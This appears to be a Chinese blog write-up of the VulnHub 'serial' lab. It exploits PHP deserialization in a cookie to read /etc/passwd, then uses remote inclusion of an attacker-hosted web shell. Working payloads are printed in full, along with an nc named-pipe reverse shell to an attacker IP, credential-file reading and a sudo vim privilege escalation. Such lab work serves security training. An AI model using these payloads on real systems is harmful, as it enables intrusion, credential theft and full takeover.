反序列化漏洞靶机实战-serial

一.安装靶机

下载地址为https://download.vulnhub.com/serial/serial.zip,安装好后开启靶机,这里并不需要我们去登录,直接扫描虚拟机nat模式下c网段的ip,看看哪个的80端口开放,然后直接去访问

二.查找cookie

访问靶机ip后来到这样一个页面,按下f12检查,打开网络监视器

重新刷新一次页面后会出现两个流量,一个访问为200一个为404,我们点击200的流量,然后查看右边的消息头,可以在cookie中找到一串编码

我们将其解码后发现内容为

复制代码
O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}},这是一串字符序列,其中O代表的是object-项目,4则是项目名称字符数量,而项目名称则是User,2代表项目数量,10为第一个项目的字符长度,s为类型-string,以此类推,我们先将其保存起来

三.查询目录

我们利用kali去爆破靶机网站的目录,这里可以看到有一个backup目录可以访问

访问后看到一个bak.zip的压缩文件,点击可以将其下载

四.代码审计

下载解压得到三个文件,里面放着网站的源代码,这里就需要代码审计了,在index.php中我们可以看到user.class.php,它包含了user.class.php文件的代码,然后将cookie中的user的值进行base64编码

而user.name.php文件中包含了log.class.php,还定义了welcome与user两个类,而_construct()与_destruct()两个是序列化中的魔术函数,且有参数name,所以这里有反序列化漏洞

user.name.php文件还调用了log.class.php文件中的handler函数,log.class.php文件中则是定义了一个Log类,同时也有costruct函数,且handler函数对变量还进行了文件包含和输出

经过代码审计后就可以构造出pyload如下,将其放到任意一个php文件中然后访问即可得到序列化经过base64编码后的内容

<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:13:"Logtype_log";s:11:"/etc/passwd";}}    //序列化

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==   //base64编码

五.抓包

我们在靶机网站首页开启抓包,然后刷新网页,获取到数据包,将其发送到重放器后,用我们构造的经过序列化和base64编码后的pyload去替换user后的内容然后发送即可得到passwd文件内容

六.获取shell

接下来我们就要获取shell,我们可以利用上面的pyload上传一个一句话木马,然后去连接。首先我们在自己的web根目录下新建一个3.txt文件,内容为<?php system($_GET['cmd']);?>然后再次构造pyload:(其中ip为本机ip)

<?php

class Log {
 public $type_log = "http://192.168.3.133/3.txt";
}
class User {
 public $name;
 public $wel;
function __construct($name) {
 $this->name = $name;
 $this->wel = new Log();
}
}
$us = new User("sk4");
print_r(serialize($us));
?>

将其序列化后进行base64编码:

O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:26:"http://192.168.3.133/3.txt";}}

Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6Mzoic2s0IjtzOjM6IndlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjY6Imh0dHA6Ly8xOTIuMTY4LjMuMTMzLzMudHh0Ijt9fQ==

然后再次用其替换url后面内容发送即可成功获取shell,可以直接添加参数查数据

七.反弹shell

接下来就要反弹shell,将参数替换为如下语句,其中ip为开启监听的虚拟机,可以用虚拟机,只要能连接到靶机就行,7777则是监听的端口

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.154.128+7777+>/tmp/f

发送后即可反弹到shell

其中credentials.txt.bak为敏感文件,cat其后即可看到sk4用户的密码,得到密码后就可以连接靶机的22端口了

八.提权

首先我们输入sudo -l查看当前用户无法执行的命令,发现vim所有用户都可使用,那么我们直接输入sudo vim进入编辑模式,输入!bash即可提权

相关推荐
龙哥说跨境5 分钟前
如何利用指纹浏览器爬虫绕过Cloudflare的防护?
服务器·网络·python·网络爬虫
AltmanChan5 分钟前
大语言模型安全威胁
人工智能·安全·语言模型
马船长15 分钟前
红帆OA iorepsavexml.aspx文件上传漏洞
安全
pk_xz1234562 小时前
Shell 脚本中变量和字符串的入门介绍
linux·运维·服务器
小珑也要变强2 小时前
Linux之sed命令详解
linux·运维·服务器
海绵波波1072 小时前
Webserver(4.3)TCP通信实现
服务器·网络·tcp/ip
九河云4 小时前
AWS账号注册费用详解:新用户是否需要付费?
服务器·云计算·aws
Lary_Rock4 小时前
RK3576 LINUX RKNN SDK 测试
linux·运维·服务器
幺零九零零5 小时前
【计算机网络】TCP协议面试常考(一)
服务器·tcp/ip·计算机网络
云飞云共享云桌面6 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络